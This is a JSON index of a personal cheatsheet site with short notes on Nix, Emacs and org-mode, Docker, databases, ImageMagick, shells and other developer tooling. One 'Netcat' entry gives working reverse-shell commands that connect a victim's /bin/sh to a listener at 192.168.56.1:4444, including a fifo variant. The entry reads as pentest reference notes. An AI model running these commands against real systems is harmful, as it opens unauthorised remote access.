[{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Nextcloud on hyprland: don\u0026rsquo;t hide window To not hide nextcloud client window \u0026ldquo;on mouse exit\u0026rdquo;, add the following in ~/.config/Nextcloud/nextcloud.cfg.\n[General] # Other options showMainDialogAsNormalWindow=true ","date":"December 14, 2025","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/nextcloud/","series":[],"smallImg":"","tags":[],"timestamp":1765666800,"title":"Nextcloud"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Google sheet join strings in pivot tables slackoverflow\n Add Field -\u0026gt; Calculated Field Summarise by : Custom Then:  =JOIN(\u0026#34;, \u0026#34;,MyStringColumn)-- or =JOIN(\u0026#34;, \u0026#34;,UNIQUE(column))","date":"March 19, 2025","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/spreadsheet/","series":[],"smallImg":"","tags":[],"timestamp":1742338800,"title":"Spreadsheet"},{"authors":[],"categories":[],"content":"Nothing here yet! Will do.\n","date":"November 17, 2022","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/blog/readme/","series":[],"smallImg":"","tags":[{"title":"README","url":"/tags/readme/"}],"timestamp":1668674129,"title":"README"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Latex - cases function f(n) = \\begin{cases} n/2, \u0026amp; \\text{if $n$ is even} \\\\ n+1, \u0026amp; \\text{if $n$ is odd} \\end{cases} \\[f(n) = \\begin{cases} n/2, \u0026amp; \\text{if $n$ is even} \\\\ n+1, \u0026amp; \\text{if $n$ is odd} \\end{cases}\\]\n","date":"January 23, 2022","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/latex/","series":[],"smallImg":"","tags":[],"timestamp":1642892400,"title":"Latex"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Remember sudo globally source\nJust add following line in sudo visudo\nDefaults timestamp_type=global Change password reset timeouts source (arch wiki)\nTo lockout after 4 failed attempts for 6 minutes:\nEdit /etc/security/faillock.conf and set:\ndeny=4 unlock_time=360 ","date":"December 11, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/sudo/","series":[],"smallImg":"","tags":[{"title":"linux","url":"/tags/linux/"}],"timestamp":1639177200,"title":"Sudo"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Create service account https://support.google.com/cloud/answer/6158849#serviceaccounts\nBuild image https://cloud.google.com/solutions/using-jenkins-for-distributed-builds-on-compute-engine\nLoad kubectl credentials gcloud container clusters get-credentials c-test-1 --zone europe-west2 --project \u0026lt;projectId\u0026gt; ","date":"August 8, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/gcp/","series":[],"smallImg":"","tags":[{"title":"dev","url":"/tags/dev/"},{"title":"cloud","url":"/tags/cloud/"}],"timestamp":1628373600,"title":"Google Cloud"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Netcat shells Easiest way to make shell using netcat is to use -e option:\n# server - on victim nc 192.168.56.1 4444 -e /bin/sh # Client nc -nvlp 4444 What if netcat doesn\u0026rsquo;t have -e option?\nWe can use fifo files and mknod command and create reverse shell (it connects to us):\n# First create fifo mknod /tmp/backpipe p # Then run payload /bin/sh 0\u0026lt;/tmp/backpipe | nc 192.168.56.1 4444 1\u0026gt;/tmp/backpipe source 😼\n","date":"May 6, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/nc/","series":[],"smallImg":"","tags":[{"title":"network","url":"/tags/network/"},{"title":"commandline","url":"/tags/commandline/"}],"timestamp":1620252000,"title":"Netcat"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Bash gnu Replacements #!/bin/bash input=\u0026#34;I love Suzi and Marry\u0026#34; replacement=\u0026#34;Sara\u0026#34; echo \u0026#34;${input/Suzi/$replacement}\u0026#34; # \u0026#39;I love Sara and Marry\u0026#39; # To replace all occurrences, use ${parameter//pattern/string}: Loop over lines instead of words Source (stackoverflow)\nOIFS=\u0026#34;$IFS\u0026#34; # Save old field separator IFS=$\u0026#39;\\n\u0026#39; # Now set it to newline for file in $(find . -type f -name \u0026#34;*.csv\u0026#34;); do echo \u0026#34;file = $file\u0026#34; diff \u0026#34;$file\u0026#34; \u0026#34;/some/other/path/$file\u0026#34; read line done IFS=\u0026#34;$OIFS\u0026#34; Fish Evaluated variables (functions, abbreviations) are stored in ~/.config/fish/fish_variables.\n","date":"April 10, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/shells/","series":[],"smallImg":"","tags":[{"title":"commandline","url":"/tags/commandline/"}],"timestamp":1618005600,"title":"Shells"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Unhang Emacs In most cases it is enough to run pkill -SIGUSR2 emacs it enables debug-on-quit which is annoying - we need to run toggle-debug-on-quit after.\nLoops and maps (cl)  cl-loop  (let ((lower ?A) (upper ?Z)) (cl-loop for x from 0 to (- upper lower) collect (char-to-string (+ lower x)) )) (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z)\n  dash.el operations\n(-\u0026gt;\u0026gt; \u0026#39;(\u0026#34;en\u0026#34; \u0026#34;de\u0026#34; \u0026#34;pl\u0026#34; \u0026#34;sw\u0026#34;) (-map (lambda (x) (concat \u0026#34;\\\u0026#34;lang is \u0026#34; x \u0026#34;\\\u0026#34;\u0026#34;))) (-reduce (lambda(x y) (concat x \u0026#34;,\\n\u0026#34; y))) ) \u0026ldquo;lang is en\u0026rdquo;, \u0026ldquo;lang is de\u0026rdquo;, \u0026ldquo;lang is pl\u0026rdquo;, \u0026ldquo;lang is sw\u0026rdquo;\n ","date":"February 26, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/emacs-misc/","series":[],"smallImg":"","tags":[{"title":"emacs","url":"/tags/emacs/"}],"timestamp":1614294000,"title":"Emacs - Misc"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Git log specific files In ranger/deer/dired select files you\u0026rsquo;re interested in and do magit-dired-log. For quick select all do t in dired-mode (C-p from deer).\nInteractive rebase / squashing Tl;dr - in magit-log buffer press r i on commit that should be last in interactive rebase. Source (not https).\n","date":"February 26, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/magit/","series":[],"smallImg":"","tags":[{"title":"emacs","url":"/tags/emacs/"},{"title":"git","url":"/tags/git/"}],"timestamp":1614294000,"title":"Magit"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Set initial tree visibility The Org-mode manual indicates these possible values for initial visibility: #+STARTUP: overview #+STARTUP: content #+STARTUP: showall #+STARTUP: showeverything With the following meanings, according to the summary of in-buffer setting: overview top-level headlines only content all headlines showall no folding of any entries showeverything show even drawer contents Source\nSet elisp variables for files Add sth like that on beginning of a file\n-*- mode: org; +jupyter-kernel: kernel1; +jupyter-session: session1; -*- ","date":"February 26, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/org-misc/","series":[],"smallImg":"","tags":[{"title":"emacs","url":"/tags/emacs/"},{"title":"orgmode","url":"/tags/orgmode/"}],"timestamp":1614294000,"title":"Org-Mode - Misc"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"This cheatsheet concerns org mode tables and fantastic things they can be used for.\nTables as data Header for table : #+NAME: table-as-data\n   type brutto vat_in_brutto netto vat_percentage     type_ool 4900 916 3984 22.991968   type_abs 141 10 131 7.6335878    Elisp code using table as data\n;; #+BEGIN_SRC elisp :var table=table-as-data :exports both (cl-loop for row in table collect (cons (format \u0026#34;MATCH (p:publication) WHERE p.label_prop_all = %d return p limit 50\u0026#34; (nth 1 row)) nil)) Result:\nMATCH (p:publication) WHERE p.label_prop_all = 4900 return p limit 50 MATCH (p:publication) WHERE p.label_prop_all = 141 return p limit 50 We can even use org-mode table in python!\n# #+BEGIN_SRC python :var table=table-as-data return table[0][0] +\u0026#34; and \u0026#34; + table[1][0] : type_ool and type_abs Spreadsheet functionality  $2= Column formula, valid for the entire column @3= Row formula, applies to all fields in the specified row. @\u0026gt;= means the last row. We can denote horizontal separator lines as @I - first line, @II - seconds line. Then we can sum columns from first separator until next via @\u0026gt;=vsum(@I..@II). We can also count from end - @-I is also valid. @1$2..@4$3= Range formula, applies to all fields in the given rectangular  range. This can also be used to assign a formula to some but not all fields in a row.\nMore: on referencing fields, field and range formulas.\n| Count | Weight | TotalKg | |-------+--------+---------| | 1 | 2 | 2 | | 3 | 10 | 30 | | 4 | 30 | 120 | |-------+--------+---------| | 8 | 9 | 72 | | | | 0 | |-------+--------+---------| | 8 | 42 | 152 | #+TBLFM: $3=$2*$1::@\u0026gt;=vsum(@I..@II) When creating formulas we can use excel-like syntax too - typing :=vsum(B2..B3) in a field adds a working formula.\nElisp in formulas: We can also use elisp in formulas e.g. first formula part in #+TBLFM above could be replaced with:\n#+TBLFM: $3=\u0026#39;(* $1 $2);N::@\u0026gt;=vsum(@I..@II) Where ;N tells us to treat numerical values as numbers not strings.\n","date":"February 26, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/org-tables/","series":[],"smallImg":"","tags":[{"title":"emacs","url":"/tags/emacs/"},{"title":"orgmode","url":"/tags/orgmode/"}],"timestamp":1614294000,"title":"Org-Mode - Tables"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Functional package manager. Supports easy rollbacks. Language for interacting with nix package manager. NixOS - OS based on nix. Can facilitate deployments on remote machines with nixops. Here are some scattered notes about the topic.\nnix-shell Create temporary environments\nnix-shell -p prog1 prog2 nix-shell \u0026#39;expr\u0026#39; { pkgs ? import \u0026lt;nixpkgs\u0026gt; {} }: pkgs.mkShell { buildInputs = [ pkgs.hello ]; } # Or { pkgs ? import \u0026lt;nixpkgs\u0026gt; {} }: pkgs.mkShell with pkgs; { buildInputs = [ hello ]; } Composes pretty well with direnv. Or even better - use lorri instead of nix-shell.\nPinned nix shell We would like a easy-to-pin shell.nix with overriding packages. Here it is (Nix 2.0 +).\nshell.nix:\nlet java = \u0026#34;openjdk8_headless\u0026#34;; pkgs = import ./nix/pkgs.nix { inherit java; }; in pkgs.mkShell { buildInputs = [ pkgs.${java} pkgs.sbt ]; shellHook = \u0026#39;\u0026#39; export JAVA_HOME=\u0026#34;${pkgs.${java}}\u0026#34; \u0026#39;\u0026#39;; } nix/pkgs.nix:\n{ java }: let pinnedPkgs = (fetchTarball \u0026#34;https://github.com/NixOS/nixpkgs/archive/d3f7e969b9860fb80750147aeb56dab1c730e756.tar.gz\u0026#34;); config = { packageOverrides = p: { jdk = p.${java}; jre = p.${java}; }; }; in import pinnedPkgs { inherit config; } More info about pinning nixpkgs here.\nnix-store # find related packages to nix path (man nix-store for more) nix-store --query (--referrers[-closure]|--references) \u0026lt;nix-path\u0026gt; # delete nix path nix-store --delete [--ignore-liveness] /nix/store/\u0026lt;...\u0026gt; # --ignore-liveness - skip checking if package is in use. People advise using sudo to force deletion. Keep in mind that it could change owner of /nix/store to root. If installed nix in single-user mode - you have to bring it back (and probably don\u0026rsquo;t need sudo in first place 😏).\nnix-du With nix-du we can (somewhat) visualize dependency tree.\nnix-du -s=10MB | tred | dot -Tsvg \u0026gt; ~/store.svg Diff home-manager generations # requires awk, diff, delta (by default) generation() { home-manager generations | awk -v id=\u0026#34;$1\u0026#34; \u0026#39;$5 == id {print $NF}\u0026#39; } after=204 before=203 after_nix=\u0026#34;$(generation $after)\u0026#34; before_nix=\u0026#34;$(generation $before)\u0026#34; nix-store -qR $after_nix \u0026gt; /tmp/after_nix nix-store -qR $before_nix \u0026gt; /tmp/before_nix diff -u /tmp/before_nix /tmp/after_nix | delta Recipes Nix check packages version / hash nix-instantiate --eval -E \u0026#39;(import \u0026lt;nixpkgs\u0026gt; {}).lib.version\u0026#39; Build package nix-build -E \u0026#39;with import \u0026lt;nixpkgs\u0026gt; { }; callPackage ./zap/default.nix { }\u0026#39; Use self-writen package home.packages = [ callPackage ./zap/default.nix { } ]; Search packages nix-env -qaPA nixpkgs.nodePackages #search in nodePackages nix search \u0026lt;package\u0026gt; Cleanup nix-store To cleanup old generations we should(probably 😼)\n remove old home-manager generations: home-manager expire-generations \u0026quot;-2 days\u0026quot; run nix-collect-garbage [-d | --delete-older-than \u0026quot;30d\u0026quot;] -d deletes all non-current generations (not allowing rollbacks)  Links  basics of language - nix pills nix flakes explaination - DoomEmacs discord LUKS on NixOS nix-du - visualise dependencies and sizes nix on hetzner cloud Burke Libbey\u0026rsquo;s youtube channel Nix python workflow overcome unavailable binary cache Option search  NixOS Fix command-not-found failing with sqlite errors https://discourse.nixos.org/t/command-not-found-unable-to-open-database/3807/5\n","date":"February 20, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/nix/","series":[],"smallImg":"","tags":[{"title":"nix","url":"/tags/nix/"}],"timestamp":1613775600,"title":"Nix"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"How to make graphs and other charts in org-mode? We\u0026rsquo;ll see some examples.\nGraphviz Using this (even in org-mode src blocks) requires graphqviz.\nSome examples.\nElaborate example // Cmd -layout : \u0026#34;neato\u0026#34;, \u0026#34;fdp\u0026#34;, \u0026#34;sfdp\u0026#34;, \u0026#34;twopi\u0026#34;, and \u0026#34;circo\u0026#34;. digraph { edge [fontname=\u0026#34;Bitstream Vera Sans\u0026#34;] node [fontname=\u0026#34;Bitstream Vera Sans\u0026#34; shape=\u0026#34;box\u0026#34; style=\u0026#34;filled\u0026#34; fillcolor=\u0026#34;dodgerblue\u0026#34; color=\u0026#34;white\u0026#34; fontcolor=\u0026#34;white\u0026#34; width=\u0026#34;1.5\u0026#34; fixedsize=\u0026#34;false\u0026#34;] person1 [label=\u0026#34;person A\u0026#34;] person2 [label=\u0026#34;person B\u0026#34;] person3 [label=\u0026#34;person C\u0026#34;] publication1 [label=\u0026#34;publication A\u0026#34; fillcolor = \u0026#34;#228b22\u0026#34;] publication2 [label=\u0026#34;publication B\u0026#34; fillcolor = \u0026#34;#228b22\u0026#34;] venue [label=\u0026#34;venue\u0026#34; fillcolor=\u0026#34;#Ee82ee\u0026#34;] subgraph R1 { edge [dir = none] person1 -\u0026gt; person2 [label =\u0026#34;COAUTHORS_WITH\u0026#34;]; } person1 -\u0026gt; publication1 [label =\u0026#34;AUTHORS\u0026#34;]; person2 -\u0026gt; publication1 [label =\u0026#34;AUTHORS\u0026#34;]; person3 -\u0026gt; publication2 [label =\u0026#34;AUTHORS\u0026#34;]; publication2 -\u0026gt; publication1 [label = \u0026#34;CITES\u0026#34;]; publication1 -\u0026gt; venue [label = \u0026#34;IN_VENUE\u0026#34;]; { rank=same; person1 person2} { rank=same; publication1 publication2} }  Dotted sub-graphs digraph g { edge [fontname=\u0026#34;Bitstream Vera Sans\u0026#34;] node [fontname=\u0026#34;Bitstream Vera Sans\u0026#34; shape=\u0026#34;box\u0026#34; style=\u0026#34;filled\u0026#34; fillcolor=\u0026#34;dodgerblue\u0026#34; color=\u0026#34;white\u0026#34; fontcolor=\u0026#34;white\u0026#34; width=\u0026#34;1.5\u0026#34; fixedsize=\u0026#34;false\u0026#34;] edge [dir = none] browser [label=\u0026#34;Browser\u0026#34; shape = \u0026#34;oval\u0026#34;] compound = true # Has to start with `cluster_` to have dots subgraph cluster_server { backend [label=\u0026#34;Backend\u0026#34;] db [label=\u0026#34;Database\u0026#34; shape = \u0026#34;box\u0026#34; fillcolor = \u0026#34;red\u0026#34;] backend -\u0026gt; db graph [style = dotted] } backend -\u0026gt; browser [ label = \u0026#34;REST\u0026#34;] # This one messes up dots # {rank = same; backend browser} }  Plantuml Using plantuml with modernish stylesheets. Ofc requires plantuml.\nOnline preview We can preview/generate diagrams online and preview stylesheets e.g. here.\nC4-plantuml @startuml \u0026#39; !includeurl https://raw.githubusercontent.com/RicardoNiepel/C4-PlantUML/master/C4_Component.puml !include https://raw.githubusercontent.com/plantuml-stdlib/C4-PlantUML/master/C4_Component.puml skinparam backgroundColor #EEEBDC title Component diagram for Big Service System_Ext(external, \u0026#34;External\u0026#34;, \u0026#34;\u0026#34;) Container(oService, \u0026#34;Oservice\u0026#34;, \u0026#34;Scala\u0026#34;, \u0026#34;\u0026#34;) Container_Boundary(api, \u0026#34;A Service\u0026#34;) { Component(aRepo, \u0026#34;A Repository\u0026#34;, \u0026#34;Mongo\u0026#34;, \u0026#34;Provides sth\u0026#34;) Component(sthRepo, \u0026#34;Something Repository\u0026#34;, \u0026#34;Mongo\u0026#34;, \u0026#34;Provides other thing\u0026#34;) Component(actor, \u0026#34;Actor\u0026#34;, \u0026#34;Akka Actor\u0026#34;, \u0026#34;\u0026#34;) Component(otherActor, \u0026#34;Other Actor\u0026#34;, \u0026#34;Akka Actor\u0026#34;, \u0026#34;\u0026#34;) Rel(actor, otherActor, \u0026#34;Uses for payment\u0026#34;) Rel(otherActor,external, \u0026#34;Interacts with external\u0026#34;, \u0026#34;external tech\u0026#34;) Rel(actor, aRepo, \u0026#34;Gets sth From\u0026#34;) Rel_R(oService,api,\u0026#34;Sends an Event\u0026#34;) } @enduml  Class diagram @startuml !define DARKBLUE !includeurl \\ https://raw.githubusercontent.com/absltkaos/RedDress-PlantUML/update_preproc/style.puml \u0026#39;https://github.com/Drakemor/RedDress-PlantUML/blob/master/style.puml scale 600 height class Plan { +func: Functionality +otherThings: OtherThing } class Functionality { +count: Long +otherThings: List[OtherThing] } class OtherThing { +type: OtherType +count int32 } class Other { Type grantType int64 count } Plan *--- Functionality : addon Functionality *--- OtherThing : grants Plan *--- OtherThing : grants Other \u0026lt;--- Plan: Produces Other \u0026lt;--- Functionality: produces Plan -[hidden] Functionality @enduml  Flow diagram @startuml !define LIGHTBLUE !includeurl \\ https://raw.githubusercontent.com/absltkaos/RedDress-PlantUML/update_preproc/style.puml left to right direction (*) --\u0026gt; \u0026#34;First Activity\u0026#34; --\u0026gt;[You can put also labels] \u0026#34;Second Activity\u0026#34; --\u0026gt; (*) \u0026#34;First Activity\u0026#34; --\u0026gt; \u0026#34;Sth\u0026#34; \u0026#34;Alice\u0026#34; --\u0026gt; (*) @enduml  Activity Diagram @startuml !define LIGHTBLUE !includeurl \\ https://raw.githubusercontent.com/absltkaos/RedDress-PlantUML/update_preproc/style.puml start if (isRecognised) then (yes) if (hadFood) then (yes) #yellow:AutomatedFeed; detach else (no) :One thing; detach endif else (no) if(hadFood) then (yes) #yellow:NotAutomatedFeed; detach else (no) :other thing; detach endif endif stop @enduml  Sequence diagram https://plantuml.com/sequence-diagram\n@startuml !define LIGHTBLUE !includeurl \\ https://raw.githubusercontent.com/absltkaos/RedDress-PlantUML/update_preproc/style.puml participant User User -\u0026gt; A: DoWork activate A A -\u0026gt; B: \u0026lt;\u0026lt; createRequest \u0026gt;\u0026gt; activate B B -\u0026gt; C: DoWork activate C C --\u0026gt; B: WorkDone destroy C B --\u0026gt; A: RequestCreated deactivate B A -\u0026gt; User: Done deactivate A @enduml  Gantt Chart @startgantt \u0026#39;https://plantuml.com/gantt-diagram#aa3233ceafb875a4 Project starts the 2022/06/01 saturday are closed sunday are closed scale 500 width [Service1] on {Person1} lasts 4 days [Service2] on {Person2} lasts 4 days [Service Tests] on {Testing person} starts at [Service1]\u0026#39;s end and lasts 2 days then [Service Fixes] on {Person1} lasts 1 days [Some fixes] on {Person1} {Person2} starts at [Service Fixes]\u0026#39;s end and lasts 6 days [Another task] on {Person3} lasts 2 days then [Yet another task] on {Person3} lasts 1 days then [Alice4] on {Person3} lasts 7 days @endgantt ","date":"February 3, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/org-mode-graphqs/","series":[],"smallImg":"","tags":[{"title":"emacs","url":"/tags/emacs/"},{"title":"orgmode","url":"/tags/orgmode/"}],"timestamp":1612306800,"title":"Org-Mode - Graphs"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Get class of window xprop WM_CLASS ","date":"January 7, 2021","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/xorg/","series":[],"smallImg":"","tags":[{"title":"linux","url":"/tags/linux/"},{"title":"desktop","url":"/tags/desktop/"}],"timestamp":1609974000,"title":"Xorg"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"My own awesome/checkout list 😁\nFile sharing Firefox send alternatives  https://send.tresorit.com/  croc E2EE file transfer between machines (din\u0026rsquo;t work well for me).\nqrcp /qr-filetransfer Share files on local network using cli + qrcode.\nPop Link Stream public domain movie torrents to mpv or other players. Relies on nodejs\u0026rsquo;s peerflix.\nAPI Clients    GRPC client BloomRPC     Rest client Postman / Httpie   GraphQL Altair/ Postman    Hand drawing  aggie.io (web, collaborative) drawpile ( not checked out yet, collaborative) pdf annotation and handwritten notes: xournal / xournal++ drawing: krita/mypaint  Fonts  preview font glyphs online CharacterMap patch ligatures for emacs (assign unicdoe to ligature glyph): here  Websites transform.tools - format conversion universal data converter, format converter e.g https://transform.tools/graphql-to-java\npdfdocx.com Convert pdf to docx 🤷‍ pandoc cannot do it.\nexplainshell.com explains shell commands (kinda)\ngithub active fork searcher https://techgaun.github.io/active-forks/index.html\n Simple, yet useful 😁\ndnschecker.org Network/MAC/lookup tool https://dnschecker.org/whats-my-ip-address.php\nGoogle Meet alternatives  Jitsi  https://meet.jit.si/ https://meet.calyx.net/ Jitsi public instance list    AI Clean images  https://cleanup.pictures/ ","date":"December 21, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/awesome/","series":[],"smallImg":"","tags":[{"title":"awesome","url":"/tags/awesome/"},{"title":"web","url":"/tags/web/"},{"title":"api","url":"/tags/api/"},{"title":"dev","url":"/tags/dev/"}],"timestamp":1608505200,"title":"Awesome Tools"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"msmtp Send mail via commandline\n Configure it like arch wiki advises. Then just echo -e \u0026quot;Subject: Hello\\nI like you.\u0026quot; | msmtp bob@example.com  Elaborate example:\nprintf \u0026#34;To: ala@ela.com\\nFrom: me@email.com\\nSubject: Test \\nThis is body.\u0026#34; | msmtp ala@ela.com tempmail Bash client for 1secmail (temporary mail) Github.\n# Generete new address tmpmail -g # Read last email (by default in w3m, you can specify --browser) tmpmail -r ","date":"December 21, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/commandline-email/","series":[],"smallImg":"","tags":[{"title":"commandline","url":"/tags/commandline/"},{"title":"email","url":"/tags/email/"}],"timestamp":1608505200,"title":"Commandline Email"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Some docker / podman tricks that are easy to forget.\nPrune old docker/podman data docker container prune -f docker image prune -f docker volume prune -f docker network prune -f # Or just all docker system prune -af Copy  docker cp \u0026lt;container\u0026gt;:\u0026lt;container-path\u0026gt; \u0026lt;host-path\u0026gt;  Login  docker login [Server] login to dockerhub in podman: podman login docker.io GPG credential store (by default it uses plaintext)  this with tweaks from here    Formatting output https://docs.docker.com/config/formatting/\ndocker inspect --format \u0026#34;{{lower .Name}}\u0026#34; container docker ps --format \u0026#34;{{json .Names}}\u0026#34; # To find out what data can be printed, show all content as json: docker container ls --format=\u0026#39;{{json .}}\u0026#39; Move docker storage location Here 🤷‍♂️\nImage history (layers) podman/docker history --no-trunc \u0026lt;imgae\u0026gt;\nSave container state as image We can save changes made to container as an image. The command is podman commit \u0026lt;hash\u0026gt; \u0026lt;image-tag\u0026gt;.\nConnect to local ports from container Just run container with --net=host param.\nPodman - with docker-compose  podman-compose is great but it fails sometimes with complex docker-compose files. Fortunately we can use podman with docker-compose. Here is how:\n Source\n# yay -S podman-docker docker-compose podman-dnsname sudo systemctl start podman.service sudo docker-compose up -d Podman goodies  Podman has --replace, --all and --ignore flags (link) Podman can transfer images without registry (link) ","date":"December 21, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/docker-podman/","series":[],"smallImg":"","tags":[{"title":"dev","url":"/tags/dev/"}],"timestamp":1608505200,"title":"Docker / Podman"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Bar-codes, imagemagick, EXIF data.\nZbar  barcode scanning, qr codes  Imagemagick montage  stich images together without wasted space montage T514.png T532.png T513.png T531.png -geometry +0 +0 -tile 2x3 out.png  Convert  svg to png preserving clear background convert -channel rgba -background \u0026quot;rgba(0,0,0,0)\u0026quot; in.svg out.png  Reduce image size  Quality change source Resize image (pixels) - documentation  # Quick copy-paste (without changing resolution) is: convert -quality 85 in.jpg out.jpg # change the resolution \u0026amp; keep aspect ratio convert dragon_sm.gif -resize 64x64 resize_dragon.gif Probably a better way (if it it sufficient) is to use jpegoptim.\nEXIF data extraction # get location data identify -verbose DSCN0042.jpg | grep GPS # exif data in general identify -format \u0026#39;%[EXIF:*]\u0026#39; img.jpg # prettier output exiv2 img.jpg # Get images with GPS coords ls | xargs -I {} sh -c \u0026#34;(identify -verbose {} | rg -q \u0026#39;exif:GPSLatitude:\u0026#39;) \u0026amp;\u0026amp; echo {}\u0026#34; # Script for extracting coords # https://bitbucket.org/Ja0Dar/dotfiles/raw/master/scripts/img2gps # Strip exif data convert image.jpg profile.icm convert image.jpg -strip -profile profile.icm output.jpg ","date":"December 21, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/image/","series":[],"smallImg":"","tags":[{"title":"image","url":"/tags/image/"},{"title":"media","url":"/tags/media/"}],"timestamp":1608505200,"title":"Image"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Notes about postgres, redis mongo.\nPostgres json Json arrays, Json functions\nsetting value in json field UPDATEmytableSETmetadata=(SELECTjsonb_set(metadata,--value to change \u0026#39;{MapMetadata,zoom}\u0026#39;,--path JSONB\u0026#39;\u0026#34;value-to-set\u0026#34;\u0026#39;,--value to set TRUE-- ??? )FROMmytable);Generated field -- Postgres 12+ -- https://stackoverflow.com/questions/8250389/computed-calculated-virtual-derived-columns-in-postgresql CREATETABLEtbl(int1int,int2int,productbigintGENERATEDALWAYSAS(int1*int2)STORED)-- or CREATETABLEtbl(int1int,int2int);altertabletbladdcolumnproductbigintGENERATEDALWAYSAS(int1*int2)STORED;We cannot use CONCAT here, but COALLESCE(field,'') || other works\nexport to csv  \\copy TABLE to 'FILENAME' csv header Copy (Select * From foo) To '/tmp/test.csv' With CSV DELIMITER ',';  Get table structure pg_dump -t \u0026#39;\u0026lt;schema\u0026gt;.\u0026#34;\u0026lt;tableName\u0026gt;\u0026#34;\u0026#39; --schema-only \u0026lt;db_name\u0026gt; -h localhost -U username Or just \\d in CLI (pgcli / psql)\nCheck replication lag -- on master selectclient_addr,replay_lagfrompg_stat_replication;Drop connections to a db All connections Leaves your current connection\nSELECTpg_terminate_backend(pg_stat_activity.pid)FROMpg_stat_activityWHEREpg_stat_activity.datname=\u0026#39;testdb\u0026#39;ANDpid\u0026lt;\u0026gt;pg_backend_pid();Long running sessions Get sessions with long running queries:\nSELECTpid,datname,now()-xact_startAStime_runningFROMpg_stat_activityWHEREstateIN(\u0026#39;idle in transaction\u0026#39;,\u0026#39;active\u0026#39;)ANDnow()-xact_start\u0026gt;interval\u0026#39;2 minutes\u0026#39;ORDERBYtime_runningDESC;And kill them by:\nSELECTpg_terminate_backend(\u0026lt;pidfromabove\u0026gt;);You can even just put the pg_terminate_backend in select from abeove ;)\nMulticolumn indexes http://www.postgresql.org/docs/current/static/indexes-multicolumn.html\nmulticolumn B-tree index:\n can be used with query conditions that involve any subset of the index\u0026rsquo;s columns, the index is most efficient when there are equality constraint on the left and inequality on a last \u0026ldquo;not-equals\u0026rdquo; column  Example: https://youtube.com/watch?v=a-7LphAnb9w (Overtalked )\nRedis Icicle setup:\nSETicicle-generator-logical-shard-id123Mongo forEaching db.conversations.find().snapshot().forEach( function (elem) { origId = elem._id elem._id = elem.inboxId + \u0026#34;_\u0026#34; + elem.conversationId db.conversations.insert(elem); db.conversations.remove({\u0026#34;_id\u0026#34;: origId}); } ); Aggregating Random example 🤷‍♂️\ndb.getCollection(\u0026#39;ala\u0026#39;).aggregate([ {$match:{\u0026#34;ela\u0026#34;:\u0026#34;ula\u0026#34;}}, {$group: {\u0026#34;_id\u0026#34;: {\u0026#34;size\u0026#34;:\u0026#34;$xdCount\u0026#34;,\u0026#34;elo\u0026#34;:\u0026#34;$elo\u0026#34;}, \u0026#34;id\u0026#34;: {\u0026#34;$push\u0026#34;:\u0026#34;$_id\u0026#34;} }}, {$project: {\u0026#34;ajdik\u0026#34;: { $arrayElemAt: [ \u0026#34;$id\u0026#34;, 0 ] }}} ]).forEach(x =\u0026gt; print(\u0026#39;\u0026#34;\u0026#39; + x.ajdik + \u0026#39;\u0026#34;,\u0026#39; ))  Practical MongoDB Aggregations Book Aggregation Pipeline Operators (v4.2) — MongoDB Manual  Check Collection load ( performance ) use mongotop\n","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/programming/dbs/","series":[],"smallImg":"","tags":[{"title":"programming","url":"/tags/programming/"},{"title":"dev","url":"/tags/dev/"}],"timestamp":1608418800,"title":"Databases"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Notes about easy-to-forget git features 😉.\nRemote handling git remote -v # link remotes git remote show origin -n # show remote without querying status (-n) git remote add github \u0026lt;remote-url\u0026gt; 